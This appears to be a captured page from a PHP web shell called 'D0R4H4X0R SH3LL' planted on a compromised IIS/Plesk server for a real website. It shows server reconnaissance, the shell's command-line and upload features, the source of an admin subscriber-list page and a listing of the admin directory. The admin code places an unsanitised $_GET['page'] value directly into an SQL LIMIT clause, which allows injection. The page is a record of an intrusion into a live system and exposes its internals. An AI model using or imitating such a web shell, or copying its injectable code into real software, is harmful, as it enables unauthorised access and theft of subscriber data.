D0R4H4X0R SH3LL

Server Information

Server: Microsoft-IIS/10.0
System: Windows NT BH-PLESK-WEB3 10.0 build 20348 (Windows Server 2022) AMD64
User: IWPD_8556(lensai) ( 0 )
PHP Version: 8.3.21
Python Version: Python is not available
Disabled Functions:, Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, exec, passthru, shell_exec, system

Features

Command Line

Find Longest Directory Path

Scan New PHP Files

Upload File

Directory: D:/INETPUB/VHOSTS/lensai.com/httpdocs/new/admin/

Current File : D:/INETPUB/VHOSTS/lensai.com/httpdocs/new/admin/subscriber_list.php

<div>
      <!-- Content Wrapper. Contains page content -->
    <div>
        <!-- Content Header (Page header) -->
        <section class="content-header">
          <h1>Subscriber List</h1>
          <ol class="breadcrumb">
            <li><a href="index.php"><i class="fa fa-dashboard"></i> Home</a></li>
            <li class="active">Subscriber List</li>
          </ol>
        </section>
		<?php
		$Select="select * from subscriber";
		$run=mysqli_query($con,$Select);
		?>
        <!-- Main content -->
        <section class="content">
          <div class="row">
            <div class="col-md-12">
              <div class="box box-primary">
                
                <div class="box-body no-padding">
                  <div class="mailbox-controls">
                    <!-- Check all button -->
					<?php
					$rec_limit = 1000;
					$tbl_name="subscriber";		//your table name
					// How many adjacent pages should be shown on each side?
					$adjacents = 100;
					
					/* 
					   First get total number of rows in data table. 
					   If you have a WHERE clause in your query, make sure you mirror it here.
					*/
					$query = "SELECT COUNT(*) as num FROM $tbl_name";
					$exe=mysqli_query($con,$query);
					$total_pages=mysqli_fetch_array($exe);
					$total_pages = $total_pages['num'];
					
					/* Setup vars for query. */
					$targetpage = "index.php?p=subscriber_list"; 	//your file name  (the name of this file)
					$limit = 15; 								//how many items to show per page
					$page = $_GET['page'];
					if($page) 
						$start = ($page - 1) * $limit; 			//first item to display on this page
					else
						$start = 0;								//if no page var is given, set start to 0
					
					/* Get data. */
					$sql = "SELECT * FROM $tbl_name LIMIT $start, $limit";
					$exe=mysqli_query($con,$sql);
					$result=mysqli_fetch_array($exe);
					
					/* Setup page vars for display. */
					if ($page == 0) $page = 1;					//if no page var is given, default to 1.
					$prev = $page - 1;							//previous page is page - 1
					$next = $page + 1;							//next page is page + 1
					$lastpage = ceil($total_pages/$limit);		//lastpage is = total pages / items per page, rounded up.
					$lpm1 = $lastpage - 1;						//last page minus 1
					
					
					
					?>

					
					<div class="box-tools pull-right">
						<ul class="pagination pagination-sm inline">
						  <?php
							$pagination = "";
							if($lastpage > 1)
							{	
								
								//previous button
								if ($page > 1) 
									$pagination.= "<a class=\"btn btn-default btn-sm\" href=\"$targetpage&page=$prev\"> &laquo;</a>&nbsp;";
								else
									$pagination.= "<span class=\"btn btn-default btn-sm\"> &laquo;</span>&nbsp;";	
								
								//pages	
								if ($lastpage < 7 + ($adjacents * 2))	//not enough pages to bother breaking it up
								{	
									for ($counter = 1; $counter <= $lastpage; $counter++)
									{
										if ($counter == $page)
											$pagination.= "<span class=\"btn btn-primary btn-sm\">$counter</span>&nbsp;";
										else
											$pagination.= "<a class=\"btn btn-default btn-sm\" href=\"$targetpage&page=$counter\">$counter</a>&nbsp;";					
									}
								}
								
								//next button
								if ($page < $counter - 1) 
									$pagination.= "<a class=\"btn btn-default btn-sm\" href=\"$targetpage&page=$next\"> &raquo;</a>";
								else
									$pagination.= "<span class=\"btn btn-default btn-sm\"> &raquo;</span>";		
							}
						  ?>
						</ul>	
					</div>
                  </div>
                  
				  <div class="table-responsive mailbox-messages">
                    <table class="table table-hover table-striped">
							<tbody>
								<tr class="table_border">
									<td>Select</td>
									<td>Name</td>
									<!--<td>Second Img</td>-->
									<td>Email</td>
									<td>Date</td>
									
									<td>Action</td>
									
								</tr>
	
								<?php
								$sql = "SELECT * FROM $tbl_name LIMIT $start, $limit";
								$exe=mysqli_query($con,$sql);
								while($row=mysqli_fetch_array($exe)){?>
								<tr>  
									<td><input type="checkbox" /></td>
									<td><?php echo $row ['name']; ?></td>
									<td><?php echo $row ['email']; ?></td>
									<td class="mailbox-name"><?php  echo date('F-d-Y', strtotime($row['date'])); ?></td>
									<td>
									<a href="controller.php?subscriberid=<?php echo $row['id'];?>"><img src="images/delet.png" height="20px"/></a>
									</td>
								</tr>
								<?php } ?>
								<?=$pagination?>
							</tbody>
                    </table>
					<!-- /.table -->
                  </div>
				  <!-- /.mail-box-messages -->
				  
                </div><!-- /.box-body -->
              </div><!-- /. box -->
            </div><!-- /.col -->
          </div><!-- /.row -->
        </section><!-- /.content -->
    </div><!-- /.content-wrapper -->
	
	
	
      
            <!-- Add the sidebar's background. This div must be placed
           immediately after the control sidebar -->
      <div class='control-sidebar-bg'></div>
    </div><!-- ./wrapper -->

    <!-- jQuery 2.1.4 -->
    <script src="plugins/jQuery/jQuery-2.1.4.min.js"></script>
    <!-- Bootstrap 3.3.2 JS -->
    <script src="../../bootstrap/js/bootstrap.min.js" type="text/javascript"></script>
    <!-- Slimscroll -->
    <script src="../../plugins/slimScroll/jquery.slimscroll.min.js" type="text/javascript"></script>
    <!-- FastClick -->
    <script src='../../plugins/fastclick/fastclick.min.js'></script>
    <!-- AdminLTE App -->
    <script src="../../dist/js/app.min.js" type="text/javascript"></script>    
    <!-- iCheck -->
    <script src="../../plugins/iCheck/icheck.min.js" type="text/javascript"></script>
    <!-- Page Script -->
    <script>
      $(function () {
        //Enable iCheck plugin for checkboxes
        //iCheck for checkbox and radio inputs
        $('.mailbox-messages input[type="checkbox"]').iCheck({
          checkboxClass: 'icheckbox_flat-blue',
          radioClass: 'iradio_flat-blue'
        });

        //Enable check and uncheck all functionality
        $(".checkbox-toggle").click(function () {
          var clicks = $(this).data('clicks');
          if (clicks) {
            //Uncheck all checkboxes
            $(".mailbox-messages input[type='checkbox']").iCheck("uncheck");
            $(".fa", this).removeClass("fa-check-square-o").addClass('fa-square-o');
          } else {
            //Check all checkboxes
            $(".mailbox-messages input[type='checkbox']").iCheck("check");
            $(".fa", this).removeClass("fa-square-o").addClass('fa-check-square-o');
          }          
          $(this).data("clicks", !clicks);
        });

        //Handle starring for glyphicon and font awesome
        $(".mailbox-star").click(function (e) {
          e.preventDefault();
          //detect type
          var $this = $(this).find("a > i");
          var glyph = $this.hasClass("glyphicon");
          var fa = $this.hasClass("fa");

          //Switch states
          if (glyph) {
            $this.toggleClass("glyphicon-star");
            $this.toggleClass("glyphicon-star-empty");
          }

          if (fa) {
            $this.toggleClass("fa-star");
            $this.toggleClass("fa-star-o");
          }
        });
      });
    </script>
    
    <!-- AdminLTE for demo purposes -->
    <script src="dist/js/demo.js" type="text/javascript"></script>
bootstrap DIR
Directory drwxrwxrwx
build DIR
Directory drwxrwxrwx
css DIR
Directory drwxrwxrwx
dist DIR
Directory drwxrwxrwx
images DIR
Directory drwxrwxrwx
mail DIR
Directory drwxrwxrwx
mailbox DIR
Directory drwxrwxrwx
plugins DIR
Directory drwxrwxrwx
sliders DIR
Directory drwxrwxrwx
.htaccess 0.118 KB
File -rw-rw-rw-
add_blog.php 2.889 KB
File -rw-rw-rw-
File -rw-rw-rw-
add_papers.php 2.231 KB
File -rw-rw-rw-
add_product.php 3.519 KB
File -rw-rw-rw-
File -rw-rw-rw-
add_slide.php 2.555 KB
File -rw-rw-rw-
File -rw-rw-rw-
add_user.php 7.685 KB
File -rw-rw-rw-
add_video.php 1.582 KB
File -rw-rw-rw-
ajax.php 1.183 KB
File -rw-rw-rw-
attachment.php 4.931 KB
File -rw-rw-rw-
blog.php 4.760 KB
File -rw-rw-rw-
brochures.php 4.405 KB
File -rw-rw-rw-
File -rw-rw-rw-
File -rw-rw-rw-
changelog 2.168 KB
File -rw-rw-rw-
compose.php 4.953 KB
File -rw-rw-rw-
concentrated.php 5.195 KB
File -rw-rw-rw-
config.php 0.233 KB
File -rw-rw-rw-
controller.php 17.718 KB
File -rw-rw-rw-
counter.txt 0.003 KB
File -rw-rw-rw-
dashboard.php 10.186 KB
File -rw-rw-rw-
File -rw-rw-rw-
demo.php 0.083 KB
File -rw-rw-rw-
edit_blog.php 2.999 KB
File -rw-rw-rw-
edit_product.php 4.765 KB
File -rw-rw-rw-
File -rw-rw-rw-
error_log 288.954 KB
File -rw-rw-rw-
forgot.php 2.757 KB
File -rw-rw-rw-
img.php 0.359 KB
File -rw-rw-rw-
index.php 11.069 KB
File -rw-rw-rw-
login.php 0.582 KB
File -rw-rw-rw-
File -rw-rw-rw-
logout.php 0.099 KB
File -rw-rw-rw-
mail.php 0.508 KB
File -rw-rw-rw-
File -rw-rw-rw-
papers.php 4.332 KB
File -rw-rw-rw-
Product.php 4.522 KB
File -rw-rw-rw-
read_mai.php 18.012 KB
File -rw-rw-rw-
register.php 4.011 KB
File -rw-rw-rw-
sent.php 9.575 KB
File -rw-rw-rw-
slider.php 6.859 KB
File -rw-rw-rw-
sliderupdate.php 3.239 KB
File -rw-rw-rw-
File -rw-rw-rw-
File -rw-rw-rw-
test.html 0.006 KB
File -rw-rw-rw-
update.php 0.920 KB
File -rw-rw-rw-
video.php 4.870 KB
File -rw-rw-rw-
viewproduct.php 0.135 KB
File -rw-rw-rw-
File -rw-rw-rw-
D0R4H4X0R SH3LL